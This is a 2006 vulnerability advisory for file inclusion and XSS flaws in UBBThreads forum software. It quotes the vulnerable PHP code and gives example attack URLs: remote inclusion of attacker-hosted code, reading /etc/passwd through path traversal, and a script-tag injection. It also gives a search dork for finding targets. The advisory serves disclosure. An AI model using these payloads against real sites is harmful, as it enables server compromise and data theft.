Advisory: UBBThreads 5.x,6.x Multiple File Inclusion

[Mustafa Can Bjorn IPEKCI]

--Security Report--
Advisory: UBBThreads 5.x,6.x Multiple File Inclusion Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 09:44 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: Infopop (http://www.infopop.com/)
Version: 5.x and 6.x also prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to =20
UBBThreads.The thispath and configdir in
ubbt.inc.php did not sanitized before using it.You can find vulnerable =20
code in ubbt.inc.php at lines 23-42
-Source in ubbt.inc.php-
23: if (!$configdir) {
24: $configdir =3D $thispath;
25: }
26:
27: // ------------------------------------------------------------------
28: // In case register globals are on we need to protect a few variables
29: if (
30: isset($HTTP_GET_VARS['thispath'])
31: || isset($HTTP_POST_VARS['thispath'])
32: || isset($HTTP_COOKIE_VARS['thispath'])
33: || isset($HTTP_POST_FILES['thispath'])
34: || isset($HTTP_GET_VARS['configdir'])
35: || isset($HTTP_POST_VARS['configdir'])
36: || isset($HTTP_COOKIE_VARS['configdir'])
37: || isset($HTTP_POST_FILES['configdir']) )
38: {
39: exit;
40: }
41:
42: include("$configdir/config.inc.php");
-End of source-
So if register_globals on remote attacker could inject arbitrary =20
variable by GLOBALS[thispath].
Also if php <=3D 4.1.0 there is no $HTTP_* tags so remote attacker can =20
use thispath in QueryString.This works on version 6.x
For version 5.x there is no variable check in ubbt.inc.php so remote =20
attacker can inject thispath to QueryString and include
external and internal files.
Including internal files requires that magic_quotes_gpc off.
There is another inclusion vulnerability in includepollresults.php for =20
version 6.x. Parameters config[cookieprefix]
and w3t_language did not sanitized properly before using them.So it =20
lets remote attacker can include arbitrary internal files.
You can find vulnerable code in includepollresults.php at lines 24
-Source code in includepollresults.php-
24: require =20
("languages/${$config['cookieprefix']."w3t_language"}/includepollresults.php=
");
-End of source-
There is also XSS vulnerability in all pages.If debug parameter sent =20
by QueryString it lets remote attacker make a malicious
links for clicking and execute arbitrary HTML/JS/VBS etc.. codes in =20
victim's browser.
Level: Highly Critical
---
How&Example:
Succesful exploitation register_globals on
Version 6.x
GET -> =20
http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=3D&w3t_l=
anguage=3D[FILE]
EXAMPLE -> =20
http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=3D&w3t_l=
anguage=3D../../../../../etc/passwd%00
GET -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=3D[FILE]
EXAMPLE -> =20
http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=3Dhttp://yoursite.com=
/cmd.txt?
EXAMPLE -> =20
http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=3D/etc/passwd%00
If php version < 4.1.0 or UBB version <=3D 5.x
GET -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=3D[FILE]
EXAMPLE -> =20
http://[site]/[ubbpath]/ubbt.inc.php?thispath=3Dhttp://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=3D/etc/passwd%00
XSS:
GET -> http://[site]/[ubbpath]/index.php?debug=3D[XSS]
EXAMPLE -> http://[site]/[ubbpath]/index.php?debug=3D<script>alert();</scrip=
t>
---
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=3D40
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=3D40
---
Dorks: "UBB.threads=E2=84=A2"